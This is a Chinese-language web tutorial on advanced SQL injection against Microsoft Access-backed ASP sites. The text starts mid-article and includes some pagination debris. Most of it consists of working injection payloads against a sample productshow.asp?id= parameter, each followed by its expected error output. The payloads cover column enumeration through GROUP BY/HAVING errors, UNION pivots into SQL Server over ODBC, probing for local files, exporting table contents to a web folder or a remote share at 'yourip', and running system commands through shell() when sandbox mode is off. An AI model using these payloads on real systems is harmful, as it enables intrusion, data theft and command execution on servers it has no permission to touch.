当前位置:K88软件开发文章中心电脑基础基础应用01 → 文章内容

Access数据库注入技术高级玩法

减小字体 增大字体 作者:佚名  来源:翔宇亭IT乐园  发布时间:2018-12-31 12:30:49

atabase Engine (0x80040E21)

  试图执行的查询中不包含作为合计函数一部分的特定表达式 'id' 。

  爆出id字段,继续,productshow.asp?id=25 group by 1,id having 1=1

  返回错误:

  Microsoft JET Database Engine (0x80040E21)

  试图执行的查询中不包含作为合计函数一部分的特定表达式 'email' 。

  依次类推productshow.asp?id=25 group by 1,id,email having 1=1

  b:如果站点的原来SQL查询语句为select * from product where id="&ID&",那么执行上述语句就会返

  回这样的错误:

  Microsoft JET Database Engine 错误 '80040e21'

  不能将已选定 '*' 的字段中组合。

  /productshow.asp,行 18

  这时我们可以这样爆字段,productshow.asp?id=25 having sum(1)=1(数字型),字符型(' having

  sum('1')='1')

  返回的错误:

  Microsoft JET Database Engine 错误 '80040e21'

  试图执行的查询中不包含作为合计函数一部分的特定表达式 'id' 。

  /productshow.asp,行 18

  可以看出爆出了ID

  但这样很有局限性,只能爆出第一个id,其他的没办法了。那只能盲猜了。

  productshow.asp?id=25 and id=1 不报错,productshow.asp?id=25 and name=1 返回错误:

  Microsoft JET Database Engine 错误 '80040e10'

  至少一个参数没有被指定值。

  /productshow.asp,行 18

  3.连接到MsSQL数据库

  productshow.asp?id=25 and 1=2 union Select top 1 1,2,table_name from [ODBC;Driver=SQL

  Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables

  这样master库的第一个表名就出来了

  获得后面的表名也很简单

  union Select top 1 1,2,table_name from [ODBC;Driver=SQL

  Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables where

  table_name not in (select top 1 table_name from

  [ODBC;Driver=SQLServer;UID=dbo;PWD=dba;Server=****;DataBase=master].information_schema.ta

  bles)

  如果数据库里的ID是字符型

  ' union Select top 1 1,2,table_name from

  [ODBC;Driver=SQLServer;UID=dbo;PWD=dba;Server=***;DataBase=master].information_schema.tab

  les where '1'='1'

  返回的错误:

  Microsoft JET Database Engine 错误 '80004005'

  ODBC--连接到 'SQL Server******' 失败。

  如果这个错误返回延迟较长时间,说明database不允许连接,如果错误返回很快,没时间延迟,说明提供的账号或者密码有误。

上一页  

:2010-01-24 20:31:00

  4.映射本地驱动器

  使用in语句,比如 productshow.asp?id=25 and 1=2 union select * from admin in '.'

  返回的错误:

  Microsoft JET Database Engine 错误 '80004005'

  Microsoft Jet 数据库引擎打不开文件'c:\windows\system32\inetsrv'。 它已经被别的用户以独占方式打开,或没有查看数据的权限。

  此查询可用于检测目录和文件,对于猜解网站目录很有用。

  再比如:productshow.asp?id=25 and 1=2 union select * from admin in 'C:\windows\ODBC.ini'

  返回错误:

  Microsoft JET Database Engine 错误 '80004005'

  不可识别的数据库格式 'C:\windows\ODBC.INI'。

  说明该文件存在,只是不是数据库

  productshow.asp?id=25 and 1=2 union select * from admin in 'C:\windows\123.ini'

  返回错误:

  Microsoft JET Database Engine 错误 '80004005'

  找不到文件 'C:\windows\123.ini'。

  该文件不存在。

  5.写文件

  说到写文件,这里不得不提下lake2的那篇文章,"SQL注入Access导出WebShell"

  如果我们执行这样的语句:

  SELECT * into [test.txt] in 'd:\web\' 'text;' from admin

  SELECT * into [test.txt] in '\\yourip\share' 'text;' from admin

  在d:\web目录下就会生成test.txt文件,其内容就是表admin的内容,这条语句要执行是要有一定的条件的,单句执行没什么问题,但是放到注入点里执行时,等待你的是2种结果:1.动作查询不能作为行为的来源。2,如果在子语句,会提示子语句不支持此查询,也就是说不能在子查询和UNION查询中,实用价值不大实属鸡肋。但是这个还是必须得知道的。

  6.执行系统ming令

  首先有必要介绍一下沙盒模式为了安全起见,MS在Jet引擎的Sp8中,设置了一个名为SandBoxMode的开关,这个开关是开启一些特殊函数在另外的执行者中执行的权限的.它的注册表位置在

  HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,默认是2.微软关于这个键值的介绍为:0为在任何所有者中中都禁止起用安全设置,1为仅在允许的范围之内,

  2则是必须是Access的模式下,3则是完全开启,连Access中也不支持.

  Access也能执行系统ming令,有个前提条件就是沙盒模式要是关闭的。如:

  productshow.asp?id=25 and 1=2 union select curdir() from msysaccessobjects

  and 1=2 union select dir('c:\ ') from msysaccessobjects

  union select environ(1) from msysaccessobjects

  union select filedatetime('c:\boot.ini') from msysaccessobjects

  union select filelen('c:\boot.ini') from msysaccessobjects

  union select getattr('c:\ ') from msysaccessobjects

  union select shell('') from msysaccessobjects

  可执行文件将以IIS匿名账户运行

  如果沙盒模式开启的话,就会返回这样的错误

  Microsoft JET Database Engine 错误 '80040e14'

  表达式中 'curdir' 函数未定义

  这次就先总结这么多,下次想起了再补充.

上一页  [1] [2] [3] 

上一页  [1] [2] 


Access数据库注入技术高级玩法